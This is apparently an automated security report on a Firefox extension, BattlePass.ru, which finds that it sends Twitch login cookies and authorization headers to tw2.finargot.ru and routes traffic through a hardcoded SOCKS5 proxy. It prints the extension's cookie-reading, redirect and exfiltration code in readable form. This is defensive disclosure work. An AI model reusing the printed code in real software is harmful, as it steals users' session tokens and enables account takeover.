Is BattlePass.ru - Пополнить Стим. Твич 1080p и 1440p safe?

Medium risk

BattlePass.ru appends your Twitch login cookie to playlist requests sent to tw2.finargot.ru.

The extension redirects Twitch playlist requests to tw2.finargot.ru, adding the Twitch auth-token cookie to each request, and posts intercepted Twitch GQL request details (authorization header, device id) to the same host. It also sets a browser-wide proxy that routes YouTube, Discord, Telegram, Cloudflare and Google API traffic through a hardcoded SOCKS5 server at 109.172.84.215. Both features are enabled by default after install.

finargotv1.0.7Firefox Add-ons
52Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Twitch login cookie appended to stream requests redirected to tw2.finargot.ru

Code analysis shows the Twitch auth-token cookie is added to stream playlist requests redirected to tw2.finargot.ru, and player API headers are posted there too.

The store listing declares no data collection.

Severity
High unwanted
Type
Unexpected
CWE
CWE-522
Source
Static analysis
What actually happens
You did this

You open a live Twitch channel while logged in.

The player requests an usher playlist.

The extension did this

The playlist request is redirected to tw2.finargot.ru with your Twitch login token in the URL.

Data sent to tw2.finargot.ru
  • Twitch login token
    https://tw2.finargot.ru/playlist/channel.m3u8?authToken=<cookie value>

    Value that can identify your logged-in Twitch session.

  • Authorization header
    auth: OAuth <header value>

    Player API credential sent in the POST body.

  • Device ID
    deviceId: <X-Device-Id header value>

    Identifier Twitch assigns to your browser.

The code that does this

Cookie read and redirect rule

Readable version
async function readTwitchAuthToken() {  if (!chrome.cookies?.get) return "";  for (const url of ["https://www.twitch.tv", "https://twitch.tv"]) {    try {      const cookie = await chrome.cookies.get({ url, name: "auth-token" });      if (cookie?.value?.trim()) return cookie.value.trim();    } catch (_) {}  }  return "";}const authToken = await readTwitchAuthToken();const encodedToken = authToken ? encodeURIComponent(authToken) : "";const authSuffix = encodedToken ? `&authToken=${encodedToken}` : "";// rule 10801redirect: { regexSubstitution: `https://tw2.finargot.ru/playlist/\\1?\\2${authSuffix}` },condition: { regexFilter: "^https://usher\\.ttvnw\\.net/(.+\\.m3u8)\\?(.+)$", resourceTypes: ["xmlhttprequest", "media"] }
The code that does this

Player API proxy

Readable version
const proxyPayload = JSON.stringify({    type: 'gql',    body: bodyStr,    clientId: fetchOptions.headers?.['Client-ID'] || 'kimne78kx3ncx6brgo4mv6wki5h1ko',    auth: fetchOptions.headers?.['Authorization'] || '',    deviceId: fetchOptions.headers?.['X-Device-Id'] || '',});const response = await window.realFetch(PROXY_URL, { method: 'POST', body: proxyPayload });
Destination hosts
    • tw2.finargot.ru

    Receives redirected playlist requests with authToken and POSTed API headers; operator not identified.

Reproduce it yourself

Checks the extension source for the cookie read, redirect and token append.

Requires
  • Node.js 18+
check-twitch-token-flow.js · js
// Static check: confirm the auth-token cookie flows into the finargot.ru redirect rule.// usage: node check.js <path-to-extracted>/src/background.jsconst src = require('fs').readFileSync(process.argv[2], 'utf8');const checks = {  readsCookie: /cookies\.get\(\{[^}]*name:\s*"auth-token"/.test(src),  redirectsUsher: /usher\\\.ttvnw\\\.net/.test(src),  appendsToken: /authToken=\$\{encodedToken\}/.test(src),  thirdPartyHost: /tw2\.finargot\.ru\/playlist\//.test(src),};console.log(checks);process.exit(Object.values(checks).every(Boolean) ? 0 : 1);
How to run it
  1. 1node check-twitch-token-flow.js path/to/src/background.js
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.0.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on steampowered.com

    *://*.steampowered.com/*

  • Read and change your data on steamcommunity.com

    *://*.steamcommunity.com/*

  • Read and change your data on battlepass-test.ru

    https://battlepass-test.ru/*

  • Read and change your data on profile.battlepass.ru

    https://profile.battlepass.ru/*

  • Read and change your data on www.twitch.tv

    https://www.twitch.tv/*

  • Read and change your data on gql.twitch.tv

    https://gql.twitch.tv/*

  • Read and change your data on usher.ttvnw.net

    https://usher.ttvnw.net/*

  • Read and change your data on tw.finargot.ru

    https://tw.finargot.ru/*

  • Read and change your data on tw2.finargot.ru

    https://tw2.finargot.ru/*

  • Read and change your data on finargot.ru

    https://finargot.ru/*

  • Store data in your browser

    storage

  • See every page you navigate to, as you navigate to it

    webNavigation

  • Block and redirect the requests your browser makes

    declarativeNetRequest

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Route all of your browsing through a server of its choosing

    proxy

Where it sends data

Destinations our analysis observed battlepass-пополнение-steam contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • 109.172.84.215

    battlepass-пополнение-steam sends data to 109.172.84.215. No other extension we have analysed sends data here.

  • tw2.finargot.ru

    battlepass-пополнение-steam sends data to tw2.finargot.ru. No other extension we have analysed sends data here.

Updated 15 October 2026amo-2983605